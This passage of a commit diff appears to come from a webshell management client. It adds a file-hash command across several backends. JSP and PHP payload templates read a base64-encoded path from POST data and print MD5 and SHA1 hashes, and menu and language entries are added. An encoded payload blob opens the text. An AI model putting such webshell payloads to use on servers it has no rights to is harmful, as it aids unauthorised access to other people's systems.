wC3ANYA2QAbAAEAbQAAAGIAGAAAAE4ACgBPABIAUAAcAFEAJgBSACkAVAAvAFUASABWAGEAaQBkAFcAZQBYAGwAWQB0AFsAgQBcAIYAXQCTAF4AnwBfAKUAYACzAGcAtgBhALcAYwDWAGYA2QBkANsAawABAHcAcQABAGwAAACtAAYABQAAAHUqKrQAGLYAKk0TAEsSTAa9AEFZAxMATVNZBLIATlNZBbIATlO2AEJOLQS2AE8tKrYAObYAUAa9AENZAyxTWQQDuABRU1kFLL64AFFTtgBEwABBOgQZBAS9AEFZAxMAKVO2AFIEvQBDWQMrU7YAU7YAVLBNK7AAAQAAAHEAcgAbAAEAbQAAAB4ABwAAAG8ACQBwACgAcQAtAHIAVABzAHIAdABzAHUAAQB4AHkAAQBsAAAA2wAGAAYAAACPAU0SVbgAVk4tEle2AFibAEoSWbgAPzoEGQQSWgO9AEG2AFsBA70AQ7YARDoFGQW2ADkSXAS9AEFZAxMAKVO2AFsZBQS9AENZAytTtgBEwABNwABNTacAMhJduAA/OgQZBBJeBL0AQVkDEwApU7YAWxkEtgBfBL0AQ1kDK1O2AETAAE3AAE1NLLA6BAO8CLAAAQAIAIgAiQAbAAEAbQAAADIADAAAAHoAAgB7AAgAfQARAH4AGAB/AC0AgABVAIEAWACCAF8AgwCHAIUAiQCGAIsAhwABAHoAAAACAHs='
,
[
arg1
]:
'#{newbase64::url}'
,
[
arg1
]:
'#{newbase64::url}'
,
[
arg2
]:
'#{newbase64::path}'
[
arg2
]:
'#{newbase64::path}'
}
},
filehash
:
{
_
:
``
,
[
arg1
]:
'#{newbase64::path}'
,
},
})
})
\ No newline at end of file
source/core/jspjs/template/filemanager.js
View file @
dafb7a30
...
@@ -296,4 +296,9 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -296,4 +296,9 @@ module.exports = (arg1, arg2, arg3) => ({
output.append(WgetCode(z1, z2));
output.append(WgetCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
`
.
replace
(
/
\n\s
+/g
,
""
),
},
},
filehash
:
{
_
:
``
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
'#{newbase64::path}'
,
},
});
});
\ No newline at end of file
source/core/php/template/filemanager.js
View file @
dafb7a30
...
@@ -100,5 +100,14 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -100,5 +100,14 @@ module.exports = (arg1, arg2, arg3) => ({
};`
.
replace
(
/
\n\s
+/g
,
''
),
};`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
"#{newbase64::url}"
,
[
arg1
]:
"#{newbase64::url}"
,
[
arg2
]:
"#{newbase64::path}"
[
arg2
]:
"#{newbase64::path}"
}
},
filehash
:
{
_
:
`$m=get_magic_quotes_gpc();
$f=base64_decode(substr($m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"],#randomPrefix#));
echo("MD5\t".md5_file($f)."\n");
echo("SHA1\t".sha1_file($f)."\n");
`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{newbase64::path}'
,
},
})
})
\ No newline at end of file
source/core/phpraw/template/filemanager.js
View file @
dafb7a30
...
@@ -81,5 +81,12 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -81,5 +81,12 @@ module.exports = (arg1, arg2, arg3) => ({
}else{
}else{
echo("0");
echo("0");
};`
.
replace
(
/
\n\s
+/g
,
''
),
};`
.
replace
(
/
\n\s
+/g
,
''
),
}
},
filehash
:
{
_
:
`$f=base64_decode("#{base64::path}");
echo("MD5\t".md5_file($f)."\n");
echo("SHA1\t".sha1_file($f)."\n");
`
.
replace
(
/
\n\s
+/g
,
''
),
},
})
})
\ No newline at end of file
source/language/en.js
View file @
dafb7a30
...
@@ -394,6 +394,7 @@ Hot Keys:
...
@@ -394,6 +394,7 @@ Hot Keys:
}
}
},
},
preview
:
'Preview'
,
preview
:
'Preview'
,
filehash
:
'FileHash'
,
edit
:
{
edit
:
{
title
:
'Edit'
,
title
:
'Edit'
,
openwindow
:
'Open in Window'
,
openwindow
:
'Open in Window'
,
...
...
source/language/zh.js
View file @
dafb7a30
...
@@ -394,6 +394,7 @@ module.exports = {
...
@@ -394,6 +394,7 @@ module.exports = {
}
}
},
},
preview
:
'预览文件'
,
preview
:
'预览文件'
,
filehash
:
'文件哈希'
,
edit
:
{
edit
:
{
title
:
'编辑文件'
,
title
:
'编辑文件'
,
openwindow
:
'窗口打开'
,
openwindow
:
'窗口打开'
,
...
...
source/language/zh_hk.js
View file @
dafb7a30
...
@@ -393,6 +393,7 @@ module.exports = {
...
@@ -393,6 +393,7 @@ module.exports = {
}
}
},
},
preview
:
'預覽文件'
,
preview
:
'預覽文件'
,
filehash
:
'文件哈希'
,
edit
:
{
edit
:
{
title
:
'編輯文件'
,
title
:
'編輯文件'
,
openwindow
:
'窗口打開'
,
openwindow
:
'窗口打開'
,
...
...
source/language/zh_tw.js
View file @
dafb7a30
...
@@ -393,6 +393,7 @@ module.exports = {
...
@@ -393,6 +393,7 @@ module.exports = {
}
}
},
},
preview
:
'預覽文件'
,
preview
:
'預覽文件'
,
filehash
:
'文件哈希'
,
edit
:
{
edit
:
{
title
:
'編輯文件'
,
title
:
'編輯文件'
,
openwindow
:
'窗口打開'
,
openwindow
:
'窗口打開'
,
...
...
source/modules/filemanager/files.js
View file @
dafb7a30
...
@@ -269,7 +269,7 @@ class Files {
...
@@ -269,7 +269,7 @@ class Files {
$
(
'.objbox'
).
on
(
'click'
,
(
e
)
=>
{
$
(
'.objbox'
).
on
(
'click'
,
(
e
)
=>
{
bmenu
.
hide
();
bmenu
.
hide
();
});
});
grid
.
attachEvent
(
'onRightClick'
,
function
(
id
,
lid
,
event
)
{
grid
.
attachEvent
(
'onRightClick'
,
function
(
id
,
lid
,
event
)
{
// 获取选中ID列表
// 获取选中ID列表
let
_ids
=
(
this
.
getSelectedId
()
||
''
).
split
(
','
);
let
_ids
=
(
this
.
getSelectedId
()
||
''
).
split
(
','
);
...
@@ -463,6 +463,13 @@ class Files {
...
@@ -463,6 +463,13 @@ class Files {
action
:
()
=>
{
action
:
()
=>
{
manager
.
previewFile
(
id
,
this
.
getRowAttribute
(
_ids
[
0
],
'fsize'
));
manager
.
previewFile
(
id
,
this
.
getRowAttribute
(
_ids
[
0
],
'fsize'
));
}
}
},
{
text
:
LANG
[
'grid'
][
'contextmenu'
][
'filehash'
],
icon
:
'fa fa-legal'
,
disabled
:
isFolder
||
!
id
||
containsFolder
,
action
:
()
=>
{
manager
.
fileHash
(
id
);
}
},
{
},
{
divider
:
true
divider
:
true
},
{
},
{
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment